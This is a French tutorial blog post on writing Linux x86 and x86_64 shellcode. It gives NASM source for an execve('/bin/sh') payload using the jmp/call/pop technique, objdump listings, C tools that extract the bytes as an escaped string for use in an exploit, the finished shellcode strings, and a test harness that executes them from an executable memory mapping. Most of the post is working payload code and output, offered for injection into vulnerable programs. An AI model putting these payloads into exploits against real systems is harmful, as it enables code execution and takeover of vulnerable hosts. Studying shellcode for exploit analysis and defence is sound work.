# Shellcodes x86 et x86_64 sur GNU/Linux

description : Écriture de shellcodes x86 et x86_64 sur GNU/Linux
categories : Hacking;
tags : Linux; C; Asm;

Les shellcodes x86 et x86_64 sur GNU/Linux

Définition

Les shellcodes sont utilisés comme code arbitraire ou malveillant que l'on injecte dans la mémoire d'un programme vulnérable.

Un shellcode se compose d'une chaîne de caractères sous forme hexadecimale. Cette "string" contient en réalité une suite d'instructions assembleur.

Ces instructions permettent le plus souvent de générer un shell ou une invite de commande. Mais il est possible de faire exécuter ce que l'on veut.

Syscall

Pour concevoir un shellcode Linux on utilise les appels système ou les syscalls qui sont identifiés par des numéros unique et doivent être placés dans le registre eax en x86 et rax en x86_64.

Certains syscall ont besoin d'arguments pour pouvoir fonctionner. Ces arguments lorsqu'ils ne dépassent pas le nombre de six sont placés dans des registres. Sur une architecture x86, le premier registre d'argument est le registre ebx, le second est ecx, le troisème edx, le quatrième esi, puis edi et le dernier est le registre ebp. Alors que pour une architecture x86_64, les registres sont dans l'odre: rdi, rsi, rdx, rcx, r8, et r9.

Pour les syscalls nécessitants plus de six arguments, une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.

Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l'instruction int 0x80 en x86 et syscall en x86_64.

Pour connaître le numéro ou identifiant d'un syscall, on peut regarder dans les fichiers /usr/include/asm/unistd_32.h et /usr/include/asm/unistd_64.h selon l'architecture.

Shellcode x86

Dans ce document, le but de notre shellcode sera d'exécuter un nouveau shell /bin/sh. Pour ce faire on va utiliser la fonction: execve dont le prototype est:

int execve(const char *filename, char *const argv[], char *const envp[]);

Le prototype indique que la fonction execve prend trois arguments. Le premier: un pointeur vers la string contenant la commande à exécuter, le deuxième: un tableau d'arguments pour la commande et le troisième: un tableau de variables d'environnement.

Avant de s'attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C

1
2
3
4
5
6
#include <unistd.h>

void main(void)
{
    execve("/bin/sh", 0, 0);
}

Passons maintenant au code assembleur.

Avec la commande grep on peut facilement trouver le syscall de la fonction execve:

1
2
$ grep execve /usr/include/asm/unistd_32.h
#define __NR_execve 11

En ce qui concerne la string "/bin/sh", soit le premier argument de la fonction execve, il existe deux restrictions:

  • On ne peut pas utiliser la section réservée aux données, celle nommée .data en assembleur.
  • Le shellcode ne doit pas contenir de NULL byte, donc nous ne pouvons pas utiliser le caractère '\0'.

Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.

Voici le code commenté de cette technique:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
section .text

global _start

_start:

xor ebx,ebx     ; on met ebx (32 bits) à 0, donc bl (8 bits) aussi
jmp getString   ; on jump sur getString

getStringReturn:
pop ecx         ; on pop dans ecx le haut de la stack, soit le ptr sur notre string "hello world#"
mov [ecx+11],bl ; on écrase le '#' par bl, donc 0

getString:
; le call va "pusher" sur la stack l'adresse de l'instruction qui suit, soit l'adresse de notre string "hello world#"
call getStringReturn
db "hello world#"

On a donc maintenant toutes les connaissances nécessaires à l'écriture de notre shellcode devant exécuter /bin/sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text

global _start

_start:

jmp GetString

GetStringReturn:
pop esi                 ; esi = ptr sur "/bin/sh#"
xor eax,eax             ; eax = 0
mov byte [esi+7],al     ; on écrase le '#' ; esi = ptr sur "/bin/sh"
mov dword [esi+8],eax   ; esi+8 = 0

mov al, 0xb             ; on place le syscall (11) dans eax

lea ebx,[esi]           ; premier argument = "/bin/sh"
lea ecx,[esi+8]         ; second argument = 0
lea edx,[esi+8]         ; troisième argument = 0

int 0x80                ; on exécute le syscall

GetString:
call GetStringReturn    ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"

On assemble ce code avec nasm de la façon suivante:

1
2
$ nasm -f elf32 shellcode-x86.asm
$ ld shellcode-x86.o -o shellcode-x86 -m elf_i386

On peut obtenir les bytes formant le shellcode avec l'outil objdump de cette façon:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ objdump -d ./shellcode-x86

./shellcode-x86:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:	eb 15                	jmp    8049017 <GetString>

08049002 <GetStringReturn>:
 8049002:	5e                   	pop    %esi
 8049003:	31 c0                	xor    %eax,%eax
 8049005:	88 46 07             	mov    %al,0x7(%esi)
 8049008:	89 46 08             	mov    %eax,0x8(%esi)
 804900b:	b0 0b                	mov    $0xb,%al
 804900d:	8d 1e                	lea    (%esi),%ebx
 804900f:	8d 4e 08             	lea    0x8(%esi),%ecx
 8049012:	8d 56 08             	lea    0x8(%esi),%edx
 8049015:	cd 80                	int    $0x80

08049017 <GetString>:
 8049017:	e8 e6 ff ff ff       	call   8049002 <GetStringReturn>
 804901c:	2f                   	das    
 804901d:	62 69 6e             	bound  %ebp,0x6e(%ecx)
 8049020:	2f                   	das    
 8049021:	73 68                	jae    804908b <GetString+0x74>
 8049023:	23                   	.byte 0x23

get-shellcode-x86.c

On peut aussi coder un petit outil: get-shellcode-x86.c pour afficher directement la string à placer dans l'exploit, voici le code de cet outil:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

void print_shellcode_x86(unsigned char *data);

int main(int argc, char *argv[])
{
    int fd;
    struct stat sb;
    unsigned char *data;
    unsigned char *text;

    if (argc != 2)
    {
        fprintf(stderr, "usage: %s <bin>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if ((fd = open(argv[1], O_RDONLY)) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    if ((fstat(fd, &sb)) == -1)
    {
        perror("fstat");
        exit(EXIT_FAILURE);
    }

    if ((data = (unsigned char *)mmap(0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    if ((strncmp(data, ELFMAG, 4)) != 0)
    {
        fprintf(stderr, "error: %s: Not an ELF file\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    if (data[EI_CLASS] == ELFCLASS32) print_shellcode_x86(data);

    else
    {
        fprintf(stderr, "error: %s: Unknown architecture\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    close(fd);

    return 0;
}

void print_shellcode_x86(unsigned char *data)
{
    Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data;
    Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff);
    unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
    unsigned char *pbyte;
    Elf32_Off offset = 0;
    uint32_t size = 0, n = 0;
    int i;

    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (!strcmp(strtab + shdr[i].sh_name, ".text"))
        {
            offset = shdr[i].sh_offset;
            size = shdr[i].sh_size;
            break;
        }
    }

    if (!offset && !size)
    {
        fprintf(stderr, "error: No \".text\" section\n");
        exit(EXIT_FAILURE);
    }

    pbyte = data + offset;

    printf("\"");

    while (n < size)
    {
        printf("\\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15)) printf("\"\n\"");
    }

    if (n % 15) printf("\"");

    printf("\n");
}

Exemple d'utilisation:

1
2
3
4
5
$ gcc get-shellcode-x86.c -o get-shellcode-x86   
$ ./get-shellcode-x86 shellcode-x86
"\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
"\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x23"

Shellcode x86_64

Ici, le principe étant le même, on va simplement écrire le même shellcode (shellcode-x86.asm) mais pour une architecture x86_64:

1
2
$ grep execve /usr/include/asm/unistd_64.h
#define __NR_execve 59
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text

global _start

_start:

jmp GetString

GetStringReturn:
pop rbx                 ; rbx = ptr sur "/bin/sh#"
xor rax,rax             ; rax = 0
mov byte [rbx+7],al     ; on écrase le '#' ; rbx = ptr sur "/bin/sh"
mov qword [rbx+8],rax   ; rbx+8 = 0

mov al, 0x3b            ; on place le syscall (59) dans rax

lea rdi,[rbx]           ; premier argument = "/bin/sh"
lea rsi,[rbx+8]         ; second argument = 0
lea rdx,[rbx+8]         ; troisième argument = 0

syscall                 ; on exécute le syscall

GetString:
call GetStringReturn    ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"

On assemble ce code toujours avec nasm:

1
2
$ nasm -f elf64 shellcode-x86_64.asm
$ ld shellcode-x86_64.o -o shellcode-x86_64 -m elf_x86_64

get-shellcode-x86_64.c

Le même outil (get-shellcode) mais pour du x86_64:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

void print_shellcode_x86_64(unsigned char *data);

int main(int argc, char *argv[])
{
    int fd;
    struct stat sb;
    unsigned char *data;
    unsigned char *text;

    if (argc != 2)
    {
        fprintf(stderr, "usage: %s <bin>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if ((fd = open(argv[1], O_RDONLY)) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    if ((fstat(fd, &sb)) == -1)
    {
        perror("fstat");
        exit(EXIT_FAILURE);
    }

    if ((data = (unsigned char *)mmap(0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    if ((strncmp(data, ELFMAG, 4)) != 0)
    {
        fprintf(stderr, "error: %s: Not an ELF file\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    if (data[EI_CLASS] == ELFCLASS64) print_shellcode_x86_64(data);

    else
    {
        fprintf(stderr, "error: %s: Unknown architecture\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    close(fd);

    return 0;
}

void print_shellcode_x86_64(unsigned char *data)
{
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
    unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
    unsigned char *pbyte;
    Elf64_Off offset = 0;
    uint64_t size = 0, n = 0;
    int i;

    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (!strcmp(strtab + shdr[i].sh_name, ".text"))
        {
            offset = shdr[i].sh_offset;
            size = shdr[i].sh_size;
            break;
        }
    }

    if (!offset && !size)
    {
        fprintf(stderr, "error: No \".text\" section\n");
        exit(EXIT_FAILURE);
    }

    pbyte = data + offset;

    printf("\"");

    while (n < size)
    {
        printf("\\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15)) printf("\"\n\"");
    }

    if (n % 15) printf("\"");

    printf("\n");
}

Exemple:

1
2
3
4
5
$ gcc get-shellcode-x86_64.c -o get-shellcode-x86_64   
$ ./get-shellcode-x86_64 shellcode-x86_64
"\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
"\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

Test

Pour pouvoir tester un shellcode sur GNU/Linux, il faut utiliser ce code intermédiaire:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

// get-shellcode-x86_64 output
char sc[] = "\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
            "\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
            "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";

void main()
{
    printf("sc length: %lu\n", strlen(sc));

    void *a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);

    ((void (*)(void))memcpy(a, sc, sizeof(sc)))();
}

Utilisation:

1
2
3
4
5
sysc4ll@l4ptop ~ $ ./test-shellcode
sc length: 41
$ echo "w00t"; exit
w00t
sysc4ll@l4ptop ~ $ 

The end

Les sources de ce tuto sont dispo sur mon gitlab